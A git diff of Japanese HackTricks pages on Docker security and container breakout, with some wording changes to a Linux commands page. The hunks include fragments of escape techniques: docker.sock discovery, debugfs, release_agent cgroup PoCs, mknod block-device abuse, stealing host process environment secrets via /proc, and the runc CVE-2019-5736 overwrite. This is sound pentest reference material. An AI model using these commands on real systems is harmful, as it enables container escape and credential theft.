[Kubernetes](https://kubernetes.io/docs/concepts/configuration/secret/)を使用している場合、シークレットのサポートがあります。[Helm-Secrets](https://github.com/futuresimple/helm-secrets)は、Kubernetesでのシークレット管理を容易にするのに役立ちます。さらに、KubernetesとDocker Enterpriseの両方には、ロールベースのアクセス制御(RBAC)があります。RBACにより、チームにとってシークレットの管理がより簡単で安全になります。
|
||||
|
||||
### gVisor
|
||||
|
||||
|
@ -389,7 +405,7 @@ file: ./my_secret_file.txt
|
|||
|
||||
### Kata Containers
|
||||
|
||||
**Kata Containers**は、軽量な仮想マシンを使用して、コンテナのように感じてパフォーマンスが向上するセキュアなコンテナランタイムを構築するためのオープンソースコミュニティです。これにより、**ハードウェア仮想化技術を使用してより強力なワークロードの分離**が提供されます。
|
||||
**Kata Containers**は、軽量な仮想マシンを使用してコンテナのように感じ、パフォーマンスを提供しながら、**ハードウェア仮想化技術を使用してより強力なワークロードの分離**を提供するために取り組んでいるオープンソースのコミュニティです。
|
||||
|
||||
{% embed url="https://katacontainers.io/" %}
|
||||
|
||||
|
@ -401,18 +417,18 @@ file: ./my_secret_file.txt
|
|||
* [**“no-new-privileges”セキュリティオプションを使用**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/)して、プロセスが特権を取得するのを防止してください。たとえば、suidバイナリを介して特権を取得することがあります。
|
||||
* [**コンテナに利用可能なリソースを制限**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**してください**。リソース制限は、サービス拒否攻撃からマシンを保護することができます。
|
||||
* **[seccomp](https://docs.docker.com/engine/security/seccomp/)**、**[AppArmor](https://docs.docker.com/engine/security/apparmor/)**(またはSELinux)プロファイルを調整して、コンテナで使用可能なアクションとシスコールを最小限に制限してください。
|
||||
* [**公式のDockerイメージ**](https://docs.docker.com/docker-hub/official\_images/)を使用し、署名を要求するか、それらを基に独自のイメージをビルドしてください。バックドアが仕込まれたイメージを継承または使用しないでください。また、ルートキーとパスフレーズを安全な場所に保存してください。DockerはUCPでキーを管理する予定です。
|
||||
* [**公式のDockerイメージ**](https://docs.docker.com/docker-hub/official_images/)を使用し、署名を要求するか、それらを基に独自のイメージをビルドしてください。バックドアが仕込まれたイメージを継承または使用しないでください。また、ルートキーとパスフレーズを安全な場所に保存してください。DockerはUCPでキーを管理する予定です。
|
||||
* 定期的にイメージを再ビルドして、ホストとイメージにセキュリティパッチを適用してください。
|
||||
* シークレットを適切に管理し、攻撃者がアクセスしにくいようにしてください。
|
||||
* Dockerデーモンを公開する場合は、クライアントとサーバーの認証にHTTPSを使用してください。
|
||||
* Dockerfileでは、ADDの代わりにCOPYを使用してください。ADDは自動的にzipファイルを展開し、URLからファイルをコピーすることができます。COPYにはこれらの機能がありません。可能な限り、リモートURLやZipファイルを介した攻撃に対して脆弱にならないように、ADDの使用を避けてください。
|
||||
* Dockerfileでは、ADDの代わりにCOPYを使用してください。ADDは自動的にZIPファイルを展開し、リモートURLやZIPファイルを介して攻撃を受ける可能性があります。COPYにはこれらの機能がありません。可能な限りADDを使用せず、リモートURLやZIPファイルを介した攻撃に対して脆弱にならないようにしてください。
|
||||
* 各マイクロサービスには**個別のコンテナ**を使用してください。
|
||||
* コンテナ内にsshを配置しないでください。コンテナへのsshは「docker exec」を使用して行うことができます。
|
||||
* **より小さな**コンテナ**イメージ**を使用してください。
|
||||
|
||||
## Dockerの脱獄/特権エスカレーション
|
||||
|
||||
もし**Dockerコンテナ内にいる**か、**dockerグループのユーザーにアクセス権がある**場合、**脱獄して特権をエスカレーション**することができます:
|
||||
もし**Dockerコンテナ内にいる**か、**dockerグループのユーザーにアクセス権がある**場合、**脱獄して特権をエスカレーション**することができます。
|
||||
|
||||
{% content-ref url="docker-breakout-privilege-escalation/" %}
|
||||
[docker-breakout-privilege-escalation](docker-breakout-privilege-escalation/)
|
||||
|
@ -420,7 +436,7 @@ file: ./my_secret_file.txt
|
|||
|
||||
## Docker認証プラグインのバイパス
|
||||
|
||||
もしdockerソケットにアクセス権限があるか、**dockerグループのユーザーであるが、docker認証プラグインによって制限されている場合**、それを**バイパス**できるかどうかを確認してください:
|
||||
もしdockerソケットにアクセス権限があるか、dockerグループのユーザーにアクセス権限があるが、docker認証プラグインによって制限されている場合、**バイパス**できるかどうかを確認してください。
|
||||
|
||||
{% content-ref url="authz-and-authn-docker-access-authorization-plugin.md" %}
|
||||
[authz-and-authn-docker-access-authorization-plugin.md](authz-and-authn-docker-access-authorization-plugin.md)
|
||||
|
@ -429,27 +445,26 @@ file: ./my_secret_file.txt
|
|||
## Dockerのハードニング
|
||||
|
||||
* ツール[**docker-bench-security**](https://github.com/docker/docker-bench-security)は、Dockerコンテナを本番環境で展開する際の数十の一般的なベストプラクティスをチェックするスクリプトです。テストはすべて自動化されており、[CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/)に基づいています。\
|
||||
ツールを実行するには、Dockerを実行しているホストからまたは十分な権限を持つコンテナから実行する必要があります。実行方法については、READMEを参照してください: [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security)。
|
||||
ツールを実行するには、Dockerを実行しているホストからまたは十分な権限を持つコンテナから実行する必要があります。実行方法については、READMEを参照してください:[**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security)。
|
||||
|
||||
## 参考文献
|
||||
|
||||
* [https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)
|
||||
* [https://twitter.com/\_fel1x/status/1151487051986087936](https://twitter.com/\_fel1x/status/1151487051986087936)
|
||||
* [https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html](https://ajxchapman.github.io/containers/2020
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
![](<../../../.gitbook/assets/image (9) (1) (2).png>)
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
* [https://ajxchapman.github.io/containers/2020/11
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築**し、自動化します。
|
||||
今すぐアクセスを取得:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSをダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出**してください。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -12,7 +12,7 @@
|
|||
|
||||
</details>
|
||||
|
||||
![](<../../../../.gitbook/assets/image (9) (1) (2).png>)
|
||||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築し、自動化します。\
|
||||
|
@ -30,8 +30,8 @@
|
|||
|
||||
## マウントされたDockerソケットの脱出
|
||||
|
||||
もし何らかの理由で、Dockerコンテナ内に**Dockerソケットがマウントされている**ことがわかった場合、それから脱出することができます。\
|
||||
これは通常、何らかの理由でDockerデーモンに接続してアクションを実行する必要があるDockerコンテナで発生します。
|
||||
もし、Dockerコンテナ内に**Dockerソケットがマウントされている**ことがわかった場合、それから脱出することができます。\
|
||||
これは通常、何らかの理由でDockerコンテナがDockerデーモンに接続してアクションを実行する必要がある場合に起こります。
|
||||
```bash
|
||||
#Search the socket
|
||||
find / -name docker.sock 2>/dev/null
|
||||
|
@ -154,9 +154,9 @@ mount: /mnt: permission denied. ---> Failed! but if not, you may have access to
|
|||
### debugfs (Interactive File System Debugger)
|
||||
debugfs /dev/sda1
|
||||
```
|
||||
#### 特権エスケープ既存のrelease\_agentの悪用([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/))- PoC1
|
||||
#### 特権エスケープ - 既存のrelease\_agentの悪用([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/))- PoC1
|
||||
|
||||
{% code title="初期PoC" %}
|
||||
{% code title="初期のPoC" %}
|
||||
```bash
|
||||
# spawn a new container to exploit via:
|
||||
# docker run --rm -it --privileged ubuntu bash
|
||||
|
@ -236,15 +236,15 @@ cat /output
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
**技術の説明**は以下で見つけることができます:
|
||||
以下は、特権エスケープの説明があります:
|
||||
|
||||
{% content-ref url="docker-release_agent-cgroups-escape.md" %}
|
||||
[docker-release\_agent-cgroups-escape.md](docker-release\_agent-cgroups-escape.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
#### プライビリージエスケープ - 相対パスを知らないで release\_agent を悪用する - PoC3
|
||||
#### プライビリージエスケープ:相対パスが不明な場合のrelease\_agentの悪用 - PoC3
|
||||
|
||||
以前の攻撃では、**ホストのファイルシステム内のコンテナの絶対パスが漏洩**していました。しかし、常にそうではありません。ホスト内のコンテナの**絶対パスがわからない場合**には、この技術を使用できます:
|
||||
以前の攻撃では、**ホストのファイルシステム内のコンテナの絶対パスが公開**されていました。しかし、常にそうではありません。ホスト内のコンテナの**絶対パスがわからない場合**には、このテクニックを使用できます:
|
||||
|
||||
{% content-ref url="release_agent-exploit-relative-paths-to-pids.md" %}
|
||||
[release\_agent-exploit-relative-paths-to-pids.md](release\_agent-exploit-relative-paths-to-pids.md)
|
||||
|
@ -338,7 +338,7 @@ root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0]
|
|||
```
|
||||
#### 特権エスケープと感度の高いマウントの悪用
|
||||
|
||||
**ホストの基礎情報を提供する可能性のあるいくつかのマウントされたファイル**があります。それらの中には、**ホストが何かが起こったときに実行するものを示す場合さえある**かもしれません(これにより攻撃者はコンテナから脱出することができます)。
|
||||
**ホストの基礎情報を提供する可能性のあるいくつかのマウントされたファイル**があります。これらのファイルのいくつかは、**ホストが何かが起こったときに実行するものを示す場合さえもあります**(これにより攻撃者はコンテナから脱出することができます)。
|
||||
|
||||
これらのファイルの悪用により、次のことが可能になります:
|
||||
|
||||
|
@ -376,10 +376,10 @@ bash -p #From non priv inside mounted folder
|
|||
もし、**コンテナ内でrootとしてアクセス**でき、かつ**非特権ユーザーとしてホストから脱出**できた場合、コンテナ内での特権昇格を行うために両方のシェルを悪用することができます。これは、コンテナ内でのデフォルトの機能であるMKNODの機能を利用することができるためです。詳細は[**この記事**](https://labs.f-secure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/)で説明されています。\
|
||||
この機能により、コンテナ内のrootユーザーは**ブロックデバイスファイルを作成**することが許可されます。デバイスファイルは、**ハードウェアやカーネルモジュールにアクセス**するために使用される特殊なファイルです。たとえば、/dev/sdaのブロックデバイスファイルは、システムディスクの生データを**読み取るためのアクセス**を提供します。
|
||||
|
||||
Dockerは、ブロックデバイスが**コンテナ内から悪用されないように**、コンテナに対してcgroupポリシーを設定してブロックデバイスの読み書きをブロックします。\
|
||||
ただし、もしブロックデバイスが**コンテナ内で作成された場合、コンテナの外部から/proc/PID/root/フォルダを介してアクセス**することができます。ただし、制限として、プロセスはコンテナの外部と内部で**同じユーザーによって所有されている必要があります**。
|
||||
Dockerは、ブロックデバイスが**コンテナ内から悪用されないように**するために、コンテナに対してcgroupポリシーを設定してブロックデバイスの読み書きをブロックします。\
|
||||
ただし、もしブロックデバイスが**コンテナ内で作成された場合、外部の誰かがコンテナの外部から/proc/PID/root/フォルダを介してアクセス**することができます。ただし、そのプロセスはコンテナの外部と内部で**同じユーザーによって所有されている必要があります**。
|
||||
|
||||
**悪用**の例は、この[**解説記事**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/)から引用します。
|
||||
**悪用**の例は、この[**解説記事**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/)から引用されています。
|
||||
```bash
|
||||
# On the container as root
|
||||
cd /
|
||||
|
@ -421,9 +421,7 @@ HTB{7h4T_w45_Tr1cKy_1_D4r3_54y}
|
|||
```
|
||||
docker run --rm -it --pid=host ubuntu bash
|
||||
```
|
||||
以下は、特権昇格に関するDockerセキュリティの内容です。以下の英文を日本語に翻訳し、同じマークダウンとHTMLの構文を保ったまま返してください。コード、ハッキング技術の名前、ハッキングに関連する単語、クラウド/SaaSプラットフォームの名前(Workspace、aws、gcpなど)、'leak'という単語、ペンテスト、マークダウンタグ以外のものは翻訳しないでください。また、翻訳とマークダウン構文以外の追加は行わないでください。
|
||||
|
||||
例えば、`ps auxn`のようなコマンドを使用してプロセスをリストアップし、コマンド内の機密情報を検索することができます。
|
||||
たとえば、`ps auxn`のようなコマンドを使用してプロセスをリストアップし、コマンド内の機密情報を検索することができます。
|
||||
|
||||
次に、**/proc/内のホストの各プロセスにアクセスできるため、envの秘密情報を盗むことができます**。以下のコマンドを実行してください。
|
||||
```bash
|
||||
|
@ -454,11 +452,9 @@ cat /proc/635813/fd/4
|
|||
```
|
||||
docker run --rm -it --network=host ubuntu bash
|
||||
```
|
||||
もしコンテナがDockerの[ホストネットワーキングドライバ(`--network=host`)](https://docs.docker.com/network/host/)で設定されている場合、そのコンテナのネットワークスタックはDockerホストから分離されず(コンテナはホストのネットワーキング名前空間を共有しています)、コンテナには独自のIPアドレスが割り当てられません。言い換えれば、**コンテナはすべてのサービスを直接ホストのIPにバインド**します。さらに、コンテナは共有インターフェース上でホストが送受信している**すべてのネットワークトラフィックを傍受**することができます(`tcpdump -i eth0`を使用)。
|
||||
もしコンテナがDockerの[ホストネットワーキングドライバ(`--network=host`)](https://docs.docker.com/network/host/)で設定されている場合、そのコンテナのネットワークスタックはDockerホストから分離されていません(コンテナはホストのネットワーキング名前空間を共有しています)し、コンテナには独自のIPアドレスが割り当てられません。言い換えると、**コンテナはすべてのサービスを直接ホストのIPにバインド**します。さらに、コンテナは共有インターフェース上でホストが送受信している**すべてのネットワークトラフィックを傍受**することができます(`tcpdump -i eth0`を使用)。
|
||||
|
||||
例えば、これを使用してホストとメタデータインスタンス間のトラフィックを**スニフィングやスプーフィング**することができます。
|
||||
|
||||
以下の例のように:
|
||||
例えば、次のような場合に使用できます:
|
||||
|
||||
* [Writeup: How to contact Google SRE: Dropping a shell in cloud SQL](https://offensi.com/2020/08/18/how-to-contact-google-sre-dropping-a-shell-in-cloud-sql/)
|
||||
* [Metadata service MITM allows root privilege escalation (EKS / GKE)](https://blog.champtar.fr/Metadata\_MITM\_root\_EKS\_GKE/)
|
||||
|
@ -476,19 +472,19 @@ docker run --rm -it --ipc=host ubuntu bash
|
|||
|
||||
### 権限の回復
|
||||
|
||||
もし`unshare`シスコールが禁止されていない場合、次のコマンドを実行してすべての権限を回復することができます:
|
||||
もし`unshare`システムコールが禁止されていない場合、次のコマンドを実行してすべての権限を回復することができます:
|
||||
```bash
|
||||
unshare -UrmCpf bash
|
||||
# Check them with
|
||||
cat /proc/self/status | grep CapEff
|
||||
```
|
||||
### シンボリックリンクを使用したユーザーネームスペースの乱用
|
||||
### シンボリックリンクを介したユーザーネームスペースの乱用
|
||||
|
||||
[https://labs.f-secure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.f-secure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/)の記事で説明されている2番目のテクニックでは、ユーザーネームスペースを使用したバインドマウントの乱用により、ホスト内のファイル(特定の場合はファイルの削除)に影響を与える方法が示されています。
|
||||
[https://labs.f-secure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.f-secure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/)の記事で説明されている2番目のテクニックでは、ユーザーネームスペースを使用してバインドマウントを乱用し、ホスト内のファイル(特定の場合はファイルの削除)に影響を与える方法が示されています。
|
||||
|
||||
![](<../../../../.gitbook/assets/image (9) (1) (2).png>)
|
||||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**し、自動化します。\
|
||||
[**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによって**パワード**されたワークフローを簡単に構築して**自動化**できます。\
|
||||
今すぐアクセスを取得:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -497,7 +493,7 @@ cat /proc/self/status | grep CapEff
|
|||
|
||||
### Runc exploit (CVE-2019-5736)
|
||||
|
||||
`docker exec`をrootとして実行できる場合(おそらくsudoで実行できる場合)、CVE-2019-5736を乱用してコンテナから特権を昇格させることができます([ここ](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)にあるexploitを使用します)。このテクニックは、基本的にはコンテナからホストの**/bin/sh**バイナリを**上書き**するものであり、docker execを実行するとペイロードがトリガーされます。
|
||||
`docker exec`をrootとして実行できる場合(おそらくsudoで実行できる場合)、CVE-2019-5736を乱用して特権を昇格させることができます([ここ](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)にあるexploitを使用します)。このテクニックは、基本的には**コンテナからホストの/bin/shバイナリを上書き**し、docker execを実行するとペイロードがトリガーされます。
|
||||
|
||||
ペイロードを適宜変更し、`go build main.go`でmain.goをビルドします。ビルドされたバイナリは、実行のためにdockerコンテナに配置する必要があります。\
|
||||
実行すると、`[+] Overwritten /bin/sh successfully`と表示されると、ホストマシンから次のコマンドを実行する必要があります:
|
||||
|
@ -509,17 +505,17 @@ cat /proc/self/status | grep CapEff
|
|||
詳細については、[https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html)を参照してください。
|
||||
|
||||
{% hint style="info" %}
|
||||
コンテナは他のCVEにも脆弱である可能性があります。リストは[https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list)で確認できます。
|
||||
コンテナが脆弱である可能性のある他のCVEも存在します。リストは[https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list)で確認できます。
|
||||
{% endhint %}
|
||||
|
||||
## Dockerカスタムエスケープ
|
||||
|
||||
### Dockerエスケープの対象範囲
|
||||
|
||||
* **ネームスペース**:ネームスペースによって、プロセスは他のプロセスと完全に分離されるため、ネームスペースを介した他のプロセスとのやり取りから脱出することはできません(デフォルトでは、IPCs、UNIXソケット、ネットワークサービス、D-Bus、他のプロセスの`/proc`を介した通信はできません)。
|
||||
* **ネームスペース**:プロセスはネームスペースによって他のプロセスと完全に分離されるため、ネームスペースによる他のプロセスとの相互作用を回避することはできません(デフォルトでは、IPCs、UNIXソケット、ネットワークサービス、D-Bus、他のプロセスの/procを介した通信はできません)。
|
||||
* **ルートユーザー**:デフォルトでは、プロセスを実行するユーザーはルートユーザーです(ただし、権限は制限されています)。
|
||||
* **機能**:Dockerは次の機能を残します:`cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep`
|
||||
* **シスコール**:これらはルートユーザーが呼び出せないシスコールです(機能の不足+Seccompのため)。他のシスコールを使用して脱出を試みることができます。
|
||||
* **シスコール**:これらはルートユーザーが呼び出せないシスコールです(機能の不足+Seccompのため)。他のシスコールを使用してエスケープを試みることができます。
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="x64 syscalls" %}
|
||||
|
@ -1031,7 +1027,7 @@ cat /proc/self/status | grep CapEff
|
|||
| 639 | semtimedop_time64 |
|
||||
| 640 | rt_sigtimedwait_time64 |
|
||||
| 641 | futex_time64 |
|
||||
| 642 | sched_rr_get_interval_time
|
||||
| 642 | sched_rr_get_interval_time64
|
||||
```
|
||||
0x029 -- pivot_root
|
||||
0x059 -- acct
|
||||
|
@ -1115,7 +1111,7 @@ If you are in **userspace** (**no kernel exploit** involved) the way to find new
|
|||
|
||||
|
||||
|
||||
![](<../../../../.gitbook/assets/image (9) (1) (2).png>)
|
||||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Use [**Trickest**](https://trickest.io/) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
|
||||
Get Access Today:
|
||||
|
|
|
@ -1,9 +1,8 @@
|
|||
# 便利なLinuxコマンド
|
||||
|
||||
![](<../../.gitbook/assets/image (9) (1) (2).png>)
|
||||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。
|
||||
今すぐアクセスを取得:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -13,10 +12,10 @@
|
|||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか?または、HackTricksをPDFでダウンロードしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手してください。
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください**。
|
||||
* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -139,10 +138,10 @@ sudo chattr -i file.txt #Remove the bit so you can delete it
|
|||
# List files inside zip
|
||||
7z l file.zip
|
||||
```
|
||||
![](<../../.gitbook/assets/image (9) (1) (2).png>)
|
||||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**し、自動化することができます。\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
今すぐアクセスを取得してください:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -172,34 +171,52 @@ i686-mingw32msvc-gcc -o executable useradd.c
|
|||
`grep`コマンドは、テキストファイル内で特定のパターンを検索するために使用されます。以下は、`grep`コマンドの一般的な使用法です。
|
||||
|
||||
```bash
|
||||
grep [オプション] パターン ファイル名
|
||||
grep [オプション] パターン [ファイル名]
|
||||
```
|
||||
|
||||
- `[オプション]`:`grep`コマンドのオプションを指定します。例えば、`-i`オプションは大文字と小文字を区別しない検索を行います。
|
||||
- `パターン`:検索するテキストのパターンを指定します。
|
||||
- `ファイル名`:検索対象のファイル名を指定します。
|
||||
- `[ファイル名]`:検索対象のファイル名を指定します。省略すると、標準入力から読み取ります。
|
||||
|
||||
例えば、以下のコマンドは、`file.txt`というファイル内で「hello」という文字列を検索します。
|
||||
以下は、いくつかの一般的な`grep`コマンドの例です。
|
||||
|
||||
- ファイル内で特定の文字列を検索する:
|
||||
|
||||
```bash
|
||||
grep hello file.txt
|
||||
grep "文字列" ファイル名
|
||||
```
|
||||
|
||||
`grep`コマンドは、検索結果を表示するだけでなく、他のコマンドと組み合わせて使用することもできます。例えば、`grep`コマンドの出力を別のファイルにリダイレクトすることもできます。
|
||||
- 大文字と小文字を区別せずに検索する:
|
||||
|
||||
```bash
|
||||
grep hello file.txt > output.txt
|
||||
grep -i "文字列" ファイル名
|
||||
```
|
||||
|
||||
また、`grep`コマンドは正規表現を使用してパターンを指定することもできます。正規表現を使用することで、より柔軟な検索が可能になります。
|
||||
- 正規表現を使用して検索する:
|
||||
|
||||
```bash
|
||||
grep -E '[0-9]{3}-[0-9]{3}-[0-9]{4}' file.txt
|
||||
grep -E "パターン" ファイル名
|
||||
```
|
||||
|
||||
上記の例では、`file.txt`内で電話番号のパターン(XXX-XXX-XXXX)を検索しています。
|
||||
- ファイル内で特定の文字列を含まない行を検索する:
|
||||
|
||||
`grep`コマンドは、Linuxシステムで非常に便利なツールです。検索やパターンマッチングに関連する作業を効率的に行うために、`grep`コマンドを積極的に活用しましょう。
|
||||
```bash
|
||||
grep -v "文字列" ファイル名
|
||||
```
|
||||
|
||||
- ファイル内で特定の文字列を含む行の数をカウントする:
|
||||
|
||||
